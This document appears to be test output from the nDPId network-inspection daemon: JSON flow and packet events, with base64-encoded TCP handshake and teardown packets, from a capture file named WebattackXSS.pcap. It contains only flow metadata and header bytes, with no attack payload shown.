+00444{"flow_id":108,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1541,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347151,"pkt_ts_usec":520310,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82ilAAD4G66asEAABwKgKMtOEAFDVpkFaAAAAAKACchDXgQAAAgQFtAQCCAoBOZtzAAAAAAEDAwc="} +00444{"flow_id":108,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1542,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347151,"pkt_ts_usec":520436,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ04RMTDZ61aZBW6AScSDkzQAAAgQFtAQCCAoD42zpATmbcwEDAwc="} +00432{"flow_id":108,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1543,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347151,"pkt_ts_usec":521007,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02ipAAD4G662sEAABwKgKMtOEAFDVpkFbTEw2e4AQAOWD1QAAAQEICgE5m3MD42zp"} +00432{"flow_id":105,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1547,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347151,"pkt_ts_usec":653125,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07ylAAD4G1q6sEAABwKgKMtNOAFAXjXl2nJMN1oARAOXnZgAAAQEICgE5m5QD42fI"} +00432{"flow_id":105,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1548,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347151,"pkt_ts_usec":653342,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0YNxAAEAGYvzAqAoyrBAAAQBQ006ckw3WF415d4ARAOPiJQAAAQEICgPjbQoBOZuU"} +00432{"flow_id":105,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1549,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347151,"pkt_ts_usec":654031,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07ypAAD4G1q2sEAABwKgKMtNOAFAXjXl3nJMN14AQAOXiIwAAAQEICgE5m5QD420K"} +00432{"flow_id":106,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1553,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347152,"pkt_ts_usec":653992,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jHtAAD4GOV2sEAABwKgKMtNcAFBPnRvzOCDlkYARAOWXTwAAAQEICgE5nI4D42kC"} +00432{"flow_id":106,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1554,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347152,"pkt_ts_usec":654215,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0i5RAAEAGOETAqAoyrBAAAQBQ01w4IOWRT50b9IARAOOSTQAAAQEICgPjbgUBOZyO"} +00432{"flow_id":106,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1555,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347152,"pkt_ts_usec":654976,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jHxAAD4GOVysEAABwKgKMtNcAFBPnRv0OCDlkoAQAOWSSwAAAQEICgE5nI4D424F"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1556,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1499347152786,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54162,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":109,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1556,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347152,"pkt_ts_usec":786524,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8lJhAAD4GMTisEAABwKgKMtOSAFAXpgg3AAAAAKACchDNWwAAAgQFtAQCCAoBOZyvAAAAAAEDAwc="} +00444{"flow_id":109,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1557,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347152,"pkt_ts_usec":786655,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ05Ji9R5fF6YIOKAScSDa3AAAAgQFtAQCCAoD424mATmcrwEDAwc="} +00432{"flow_id":109,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1558,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347152,"pkt_ts_usec":787396,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lJlAAD4GMT+sEAABwKgKMtOSAFAXpgg4YvUeYIAQAOV55AAAAQEICgE5nK8D424m"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1571,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1499347155346,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54188,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":110,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1571,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347155,"pkt_ts_usec":346301,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8btxAAD4GVvSsEAABwKgKMtOsAFCnAfHzAAAAAKACchBRqQAAAgQFtAQCCAoBOZ8vAAAAAAEDAwc="} +00444{"flow_id":110,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1572,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347155,"pkt_ts_usec":346457,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ06xcmZfGpwHx9KAScSDpngAAAgQFtAQCCAoD43CmATmfLwEDAwc="} +00432{"flow_id":110,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1573,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347155,"pkt_ts_usec":347158,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bt1AAD4GVvusEAABwKgKMtOsAFCnAfH0XJmXx4AQAOWIpgAAAQEICgE5ny8D43Cm"} +00432{"flow_id":107,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1577,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347155,"pkt_ts_usec":655163,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EStAAD4GtK2sEAABwKgKMtN2AFB3voscoi9ZC4ARAOUczgAAAQEICgE5n3wD42uo"} +00432{"flow_id":107,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1578,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347155,"pkt_ts_usec":655385,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0KfhAAEAGmeDAqAoyrBAAAQBQ03aiL1kLd76LHYARAOMXhAAAAQEICgPjcPMBOZ98"} +00432{"flow_id":107,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1579,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347155,"pkt_ts_usec":656099,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ESxAAD4GtKysEAABwKgKMtN2AFB3vosdoi9ZDIAQAOUXgQAAAQEICgE5n30D43Dz"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1583,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1499347156630,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54202,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":111,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1583,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347156,"pkt_ts_usec":630374,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8OChAAD4GjaisEAABwKgKMtO6AFAdhZhYAAAAAKACchAzcgAAAgQFtAQCCAoBOaBwAAAAAAEDAwc="} +00444{"flow_id":111,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1584,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347156,"pkt_ts_usec":630469,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ07o+DQO9HYWYWaAScSB8vAAAAgQFtAQCCAoD43HnATmgcAEDAwc="} +00432{"flow_id":111,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1585,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347156,"pkt_ts_usec":631066,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OClAAD4Gja+sEAABwKgKMtO6AFAdhZhZPg0DvoAQAOUbxAAAAQEICgE5oHAD43Hn"} +00432{"flow_id":108,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1589,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347156,"pkt_ts_usec":655230,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02itAAD4G66ysEAABwKgKMtOEAFDVpkFbTEw2e4ARAOV+0QAAAQEICgE5oHYD42zp"} +00432{"flow_id":108,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1590,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347156,"pkt_ts_usec":655350,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0R5ZAAEAGfELAqAoyrBAAAQBQ04RMTDZ71aZBXIARAON5zgAAAQEICgPjce0BOaB2"} +00432{"flow_id":108,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1591,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347156,"pkt_ts_usec":656092,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02ixAAD4G66usEAABwKgKMtOEAFDVpkFcTEw2fIAQAOV5ywAAAQEICgE5oHcD43Ht"} +00432{"flow_id":109,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1598,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347158,"pkt_ts_usec":655655,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lJpAAD4GMT6sEAABwKgKMtOSAFAXpgg4YvUeYIARAOV0JwAAAQEICgE5omsD424m"} +00432{"flow_id":109,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1599,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347158,"pkt_ts_usec":655907,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0bYFAAEAGVlfAqAoyrBAAAQBQ05Ji9R5gF6YIOYARAONubQAAAQEICgPjc+EBOaJr"} +00432{"flow_id":109,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1600,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347158,"pkt_ts_usec":656581,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lJtAAD4GMT2sEAABwKgKMtOSAFAXpgg5YvUeYYAQAOVuawAAAQEICgE5omsD43Ph"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1604,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1499347159323,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54228,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":112,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1604,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347159,"pkt_ts_usec":323115,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Ly1AAD4GlqOsEAABwKgKMtPUAFBviYw8AAAAAKACchDqzgAAAgQFtAQCCAoBOaMRAAAAAAEDAwc="} +00444{"flow_id":112,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1605,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347159,"pkt_ts_usec":323271,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ09Q7Unbob4mMPaAScSDBBwAAAgQFtAQCCAoD43SIATmjEQEDAwc="} +00432{"flow_id":112,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1607,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347159,"pkt_ts_usec":323997,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ly5AAD4GlqqsEAABwKgKMtPUAFBviYw9O1J26YAQAOVgDgAAAQEICgE5oxID43SI"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1613,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1499347160581,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54242,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":113,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1613,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347160,"pkt_ts_usec":581668,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8eT9AAD4GTJGsEAABwKgKMtPiAFBG+91zAAAAAKACchDA3AAAAgQFtAQCCAoBOaRMAAAAAAEDAwc="} +00444{"flow_id":113,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1614,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347160,"pkt_ts_usec":581793,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0+J0ull0RvvddKAScSB55wAAAgQFtAQCCAoD43XCATmkTAEDAwc="} +00432{"flow_id":113,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1615,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347160,"pkt_ts_usec":582546,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eUBAAD4GTJisEAABwKgKMtPiAFBG+910dLpZdYAQAOUY7wAAAQEICgE5pEwD43XC"} +00432{"flow_id":110,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1619,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347160,"pkt_ts_usec":657605,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bt5AAD4GVvqsEAABwKgKMtOsAFCnAfH0XJmXx4ARAOWDdQAAAQEICgE5pF8D43Cm"} +00432{"flow_id":110,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1620,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347160,"pkt_ts_usec":657829,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA04hJAAEAG4cXAqAoyrBAAAQBQ06xcmZfHpwHx9YARAON+RwAAAQEICgPjddUBOaRf"} +00432{"flow_id":110,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1621,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347160,"pkt_ts_usec":658357,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bt9AAD4GVvmsEAABwKgKMtOsAFCnAfH1XJmXyIAQAOV+RQAAAQEICgE5pF8D43XV"} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":310,"flow_first_seen":1499347033203,"flow_last_seen":1499347101320,"flow_tot_l4_data_len":242613,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1901,"flow_avg_l4_data_len":782,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52910,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":6,"flow_first_seen":1499347087256,"flow_last_seen":1499347092638,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53476,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":6,"flow_first_seen":1499347087256,"flow_last_seen":1499347092638,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53476,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":6,"flow_first_seen":1499347088552,"flow_last_seen":1499347093638,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53490,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":6,"flow_first_seen":1499347088552,"flow_last_seen":1499347093638,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53490,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":6,"flow_first_seen":1499347091102,"flow_last_seen":1499347096639,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53516,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":6,"flow_first_seen":1499347091102,"flow_last_seen":1499347096639,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53516,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":6,"flow_first_seen":1499347092374,"flow_last_seen":1499347097640,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53530,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":6,"flow_first_seen":1499347092374,"flow_last_seen":1499347097640,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53530,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1622,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":6,"flow_first_seen":1499347093662,"flow_last_seen":1499347099640,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53544,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 